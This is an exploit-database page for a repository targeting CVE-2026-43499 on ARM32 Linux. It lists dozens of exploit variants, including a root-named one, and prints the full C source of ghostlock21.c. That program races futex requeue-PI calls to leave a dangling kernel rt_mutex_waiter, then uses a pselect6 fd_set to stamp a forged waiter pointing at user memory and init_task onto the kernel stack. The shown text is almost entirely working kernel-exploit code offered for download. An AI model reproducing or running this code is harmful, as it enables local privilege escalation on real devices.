Exploit databaseDownload repository ZIP
GH-84a2584893aa73cb0829550f9c55b3e1
tc3650/cve-2026-43499-armv7
Sources for CVE-2026-43499
164 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files70
tc3650/cve-2026-43499-armv7Revision 40f7649b000a
- ↑..Parent directory
- dirtyclone_exploit.c
- dirtyclone_pipe_probe.c
- dirtyclone_surface.c
- dirtyclone_tcp_probe.c
- g62_6iov.c
- g62_8e.c
- g62_8iov.c
- g62_pispray.c
- g62_rand.c
- g62_scan.c
- g62_self.c
- ghostlock.c
- ghostlock10.c
- ghostlock11.c
- ghostlock12.c
- ghostlock13.c
- ghostlock14.c
- ghostlock15.c
- ghostlock16.c
- ghostlock17.c
- ghostlock18.c
- ghostlock19.c
- ghostlock2.c
- ghostlock20.c
- ghostlock21.c
- ghostlock22.c
- ghostlock23.c
- ghostlock24.c
- ghostlock25.c
- ghostlock26.c
- ghostlock27.c
- ghostlock28.c
- ghostlock29.c
- ghostlock3.c
- ghostlock30.c
- ghostlock31.c
- ghostlock31_tmp.c
- ghostlock32.c
- ghostlock33.c
- ghostlock4.c
- ghostlock5.c
- ghostlock6.c
- ghostlock63.c
- ghostlock64.c
- ghostlock8.c
- ghostlock9.c
- ghostlock_all.sh
- ghostlock_check.sh
- ghostlock_root.c
- gl_pselect.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/ghostlock21.c
C · 7,933 bytes/*
* ghostlock21.c - Controlled stamp via pselect6 with open("/dev/null")
* ARM32 static, raw syscalls.
* Open /dev/null to get a valid fd, then pselect with fd_set containing
* fake rt_mutex_waiter pattern.
*/
#define NULL ((void*)0)
typedef unsigned int uint32_t;typedef int int32_t;typedef long long int64_t;
#define __NR_exit 1
#define __NR_write 4
#define __NR_openat 322
#define __NR_close 6
#define __NR_clone 120
#define __NR_gettid 224
#define __NR_getpid 20
#define __NR_nanosleep 162
#define __NR_clock_gettime 263
#define __NR_pselect6 335
#define __NR_futex 240
#define __NR_futex_time64 422
#define FLPI (6|128)
#define FUPI (7|128)
#define FWRQ (11|128)
#define FCRQ (12|128)
struct ts64 { int64_t tv_sec; int64_t tv_nsec; };
struct ts32 { int32_t tv_sec; int32_t tv_nsec; };
#define CLOCK_MONOTONIC 1
#define STACK_SIZE 65536
#define INIT_TASK 0xC0909280UL
#define AT_FDCWD -100
static unsigned char __attribute__((aligned(64))) stack_o[STACK_SIZE],stack_w[STACK_SIZE],stack_c[STACK_SIZE];
static uint32_t f_wait __attribute__((aligned(64)))=0,f_target __attribute__((aligned(64)))=0,f_chain __attribute__((aligned(64)))=0;
static unsigned char fake_page[4096]__attribute__((aligned(4096)));
static volatile int o_ready=0,w_ready=0,o_blocking=0,w_waiting=0;
static volatile int spray_done=0,stamp_ready=0,pi_go=0;
static uint32_t w_tid=0;static int last_errno=0;
static inline long _s6(long n,long a0,long a1,long a2,long a3,long a4,long a5){
register long r0 asm("r0")=a0,r1 asm("r1")=a1,r2 asm("r2")=a2,r3 asm("r3")=a3,r4 asm("r4")=a4,r5 asm("r5")=a5,r7 asm("r7")=n;
asm volatile("svc #0":"+r"(r0):"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r5),"r"(r7):"memory");
if(r0<0&&r0>-4096)last_errno=(int)(-r0);else last_errno=0;return r0;
}
#define SYS0(n) _s6((n),0,0,0,0,0,0)
#define SYS3(n,a,b,c) _s6((n),(a),(b),(c),0,0,0)
#define SYS6(n,a0,a1,a2,a3,a4,a5) _s6((n),(a0),(a1),(a2),(a3),(a4),(a5))
static long clone_full(int(*fn)(void*),void*stk,int fl,void*arg,void*tls,int*ctid){
unsigned long*sp=(unsigned long*)((unsigned long)stk&~7UL);
*--sp=(unsigned long)arg;*--sp=(unsigned long)fn;
register long r0 asm("r0")=fl,r1 asm("r1")=(long)sp,r2 asm("r2")=0,r3 asm("r3")=(long)tls,r4 asm("r4")=(long)ctid,r7 asm("r7")=__NR_clone;
asm volatile("svc #0\n\tcmp r0,#0\n\tbne 1f\n\tpop {r1,r2}\n\tmov r0,r2\n\tblx r1\n\tmov r7,#1\n\tsvc #0\n\t1:\n\t":"+r"(r0):"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r7):"r5","lr","memory");
return r0;
}
static long futex_call(uint32_t*u,int op,uint32_t v,void*ts,uint32_t*u2,uint32_t v3){
long r=SYS6(__NR_futex_time64,(long)u,op,v,(long)ts,(long)u2,v3);
if(r<0&&last_errno==38){struct ts32 t32;if(ts){struct ts64*t64=(struct ts64*)ts;t32.tv_sec=(int32_t)t64->tv_sec;t32.tv_nsec=(int32_t)t64->tv_nsec;}r=SYS6(__NR_futex,(long)u,op,v,(long)(ts?&t32:0),(long)u2,v3);}
return r;
}
static long do_openat(const char*path,int flags,int mode){
return SYS6(__NR_openat,AT_FDCWD,(long)path,flags,mode,0,0);
}
static void pstr(const char*s){int n=0;while(s[n])n++;SYS3(__NR_write,1,(long)s,n);}
static void pint(unsigned long v){
char b[12];int i=0;
do{b[i++]='0'+(int)(v%10);v/=10;}while(v);
{int j;for(j=0;j<i/2;j++){char x=b[j];b[j]=b[i-1-j];b[i-1-j]=x;}}
b[i++]='\n';SYS3(__NR_write,1,(long)b,i);
}
static void plbl(const char*l,long v){pstr(l);pint((unsigned long)v);}
static void nsleep_us(long us){struct ts32 ts={0,(int32_t)(us*1000)};SYS3(__NR_nanosleep,(long)&ts,0,0);}
static void nsleep_ms(long ms){struct ts32 ts={(int32_t)(ms/1000),(int32_t)((ms%1000)*1000000)};SYS3(__NR_nanosleep,(long)&ts,0,0);}
void raise(void){}
static int thread_consumer(void*arg){
(void)arg;
while(!pi_go)nsleep_us(100);
nsleep_ms(500); /* let stamp settle */
pstr("[c] LOCK_PI(f_chain)\n");
long r=futex_call(&f_chain,FLPI,0,0,0,0);
plbl("[c] LOCK_PI(ch)=",r);
plbl("[c] errno=",last_errno);
pstr("[c] done\n");
return 0;
}
static int thread_owner(void*arg){
(void)arg;
f_target=(uint32_t)SYS0(__NR_gettid);
pstr("[o] set\n");o_ready=1;
while(!w_ready)nsleep_us(100);
o_blocking=1;
pstr("[o] LOCK_PI(ch) enter\n");
long r=futex_call(&f_chain,FLPI,0,0,0,0);
plbl("[o] LOCK_PI(ch)=",r);
futex_call(&f_chain,FUPI,0,0,0,0);
return 0;
}
static int thread_waiter(void*arg){
(void)arg;
w_tid=(uint32_t)SYS0(__NR_gettid);
while(!o_ready)nsleep_us(100);
f_chain=w_tid;w_ready=1;
while(!o_blocking)nsleep_us(100);
nsleep_us(20000);
w_waiting=1;
struct ts32 now32;
long cr=SYS3(__NR_clock_gettime,CLOCK_MONOTONIC,(long)&now32,0);
struct ts64 abs;
abs.tv_sec=(cr==0)?((int64_t)now32.tv_sec+15):1000000;
abs.tv_nsec=(cr==0)?(int64_t)now32.tv_nsec:0;
pstr("[w] FWRQ enter\n");
long r=futex_call(&f_wait,FWRQ,0,&abs,&f_target,0);
plbl("[w] FWRQ=",r);
pstr("[w] FWRQ exit\n");
/* Open /dev/null for valid fd */
int nullfd=(int)do_openat("/dev/null",0,0); /* O_RDONLY=0 */
plbl("[w] nullfd=",nullfd);
/* Build fd_set with fake waiter pattern repeated.
The fd_set for nfds=64 is 3 * 8 * 8 = 192 bytes (3 fd_sets * 8 unsigned long).
We fill the entire region with our pattern. */
unsigned long fd_set[24]; /* 3 * 8 unsigned longs */
unsigned long fake_lock=(unsigned long)fake_page+0x100;
unsigned long pat[8]={
1, /* rb_parent_color = 1 (red node) */
fake_lock, /* rb_right → our page */
0, /* rb_left */
INIT_TASK, /* pi_parent_color → init_task (safe) */
fake_lock, /* pi_right */
0, /* pi_left */
INIT_TASK, /* task = init_task */
fake_lock, /* lock → our fake lock page */
};
for(int i=0;i<24;i++)fd_set[i]=pat[i%8];
/* Mark fd 'nullfd' as readable in the readfds */
if(nullfd>=0 && nullfd<64*8*8){
int word=nullfd/32;
int bit=nullfd%32;
fd_set[word]|=(1UL<<bit);
}
/* Initialize fake_page with recognizable data */
for(int i=0;i<4096;i++)fake_page[i]=(unsigned char)(i&0xff);
stamp_ready=1;
pstr("[w] pselect6 enter\n");
struct ts64 pt={{3,0}}; /* 3 second timeout */
long ps=SYS6(__NR_pselect6,64,(long)fd_set,(long)(fd_set+8),(long)(fd_set+16),(long)&pt,0);
plbl("[w] pselect=",ps);
plbl("[w] errno=",last_errno);
pstr("[w] pselect done\n");
if(nullfd>=0)SYS3(__NR_close,nullfd,0,0);
spray_done=1;
nsleep_ms(500);
pstr("[w] FUPI(ch)\n");
futex_call(&f_chain,FUPI,0,0,0,0);
return 0;
}
void _start(void){
pstr("=== ghostlock21: open + pselect stamp ===\n");
pstr("fake_page=");pint((unsigned long)fake_page);
static unsigned char tls_w[32]__attribute__((aligned(8))),tls_o[32]__attribute__((aligned(8))),tls_c[32]__attribute__((aligned(8)));
int ctid=0;
int fl=0x00000100|0x00000200|0x00000400|0x00000800|0x00010000|0x00040000|0x00080000|0x00100000|0x00200000;
f_wait=0;f_target=0;f_chain=0;
o_ready=0;w_ready=0;o_blocking=0;w_waiting=0;spray_done=0;stamp_ready=0;pi_go=0;
w_tid=0;last_errno=0;
clone_full(thread_owner,(void*)((unsigned long)stack_o+STACK_SIZE),fl,0,tls_o,&ctid);
clone_full(thread_waiter,(void*)((unsigned long)stack_w+STACK_SIZE),fl,0,tls_w,&ctid);
clone_full(thread_consumer,(void*)((unsigned long)stack_c+STACK_SIZE),fl,0,tls_c,&ctid);
while(!w_waiting)nsleep_us(100);
nsleep_us(40000);
pstr("[m] FCRQ\n");
long ret=futex_call(&f_wait,FCRQ,1,(void*)(long)1,&f_target,0);
int se=last_errno;
plbl("[m] FCRQ=",ret);plbl("[m] errno=",se);
if(se==35){
pstr("[!] EDEADLK!\n");
while(!spray_done)nsleep_ms(100);
pstr("[m] spray+stamp done, triggering PI probe\n");
pi_go=1;
nsleep_ms(3000);
}
pstr("[*] alive! tid=");pint(SYS0(__NR_gettid));
pstr("\n");
SYS3(__NR_exit,0,0,0);
}